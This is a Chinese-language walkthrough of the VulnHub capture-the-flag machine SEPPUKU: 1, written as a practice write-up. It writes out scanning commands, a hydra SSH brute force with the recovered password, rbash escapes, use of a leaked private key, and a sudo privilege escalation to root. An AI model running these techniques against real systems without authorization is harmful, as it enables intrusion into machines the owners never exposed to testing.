一、前言
主要利用方式:路径扫描中发现若干敏感信息
结合利用后,才能进行下一步嗅探,
若干切换用户后,方可进行提权
二、靶机信息
靶场: vulnhub.com
靶机名称: SEPPUKU: 1
难度: Intermediate to Hard(中级到困难)
发布时间: 2020 年 5 月 13 日
下载地址:https://www.vulnhub.com/entry/seppuku-1,484/
备注:登录后如果发现无rbash权限,要记得退出重新带权登录
三、虚拟机配置
Vmware、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p-192.168.169.170
└─$ sudo nmap -p21,22,80,139,445,7080,7601,8088 -sV -A 192.168.169.170
3、经过访问判断,80、7080、7601、8088端口都是web端口
https://192.168.169.170:7080/
http://192.168.169.170:7601/
http://192.168.169.170:8088/
4、常规路径扫描
└─$ dirsearch -u 192.168.169.170:80
└─$ dirsearch -u 192.168.169.170:7080
└─$ dirsearch -u 192.168.169.170:7601
└─$ dirsearch -u 192.168.169.170:8088
5、在secret路径下发现hostname及若干密码文件
http://192.168.169.170:7601/secret/
获取了hostname:seppuku
http://192.168.169.170:7601/secret/hostname
获取了备份文件及一个密码本
http://192.168.169.170:7601/secret/password.lst
五、漏洞利用(突破边界)
6、hydra爆破ssh密码
用hydra爆破seppuku用户的ssh密码,密码字典来自http://192.168.169.170:7601/secret/password.lst
└─$ hydra -l seppuku -P 0809.txt ssh://192.168.169.170
22 host: 192.168.169.170 login: seppuku password: eeyoree
7、使用爆破的账号密码22端口登录
└─$ ssh seppuku@192.168.169.170
8、登录后发现没有rbash权限,退出,带有权限重新链接
└─$ ssh seppuku@192.168.169.170 -t 'bash --noprofile'
9、通过进入seppuku目录,发现passwd文件,并发现一个密码
seppuku@seppuku:~$ cat .passwd
12345685213456!@!@A
10、home目录下,存在3个用户,前面探测的密码肯定不是seppuku的,那就尝试另外两个用户
seppuku@seppuku:/home$ su - samurai
六、提权
11、执行sudo -l命令,发现samurai可以不需要密码以任何用户身份执行/home/tanto/.cgi_bin/bin /tmp/*
12、进入/home/tanto/的路径下,并无cgi的文件
13、只有tanto用户可以在自己的家目录下创建文件夹和文件,需要用tanto用户登录
重新扫描了一下文件夹
└─$ dirsearch -u 192.168.169.170:7601 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
14、在keys目录下,发现两个文件,一个是文件,一个是备份文件,查看
http://192.168.169.170:7601/keys/
http://192.168.169.170:7601/keys/private
15、下载了private,并用它作为tanto的私钥进行ssh登录,用-t参数绕过rbash
发现报权限错误,644权限不符合,通过查询,设置600权限方可正常登录
ssh tanto@192.168.169.170 -i private -t 'bash --noprofile'
16、输入命令创建/home/tanto/.cgi_bin/bin,使其内容为/bin/bash,并赋予可执行权限
tanto@seppuku:~$ mkdir .cgi_bin
tanto@seppuku:~$ cd .cgi_bin/
tanto@seppuku:~/.cgi_bin$ echo '/bin/bash' > bin
tanto@seppuku:~/.cgi_bin$ chmod +x bin
tanto@seppuku:~/.cgi_bin$
17、切回samurai用户,shell中执行如下命令,sudo提权到root
samurai@seppuku:~$ sudo /home/tanto/.cgi_bin//bin /tmp/*
18、查询root权限下的flag,及认证靶机ip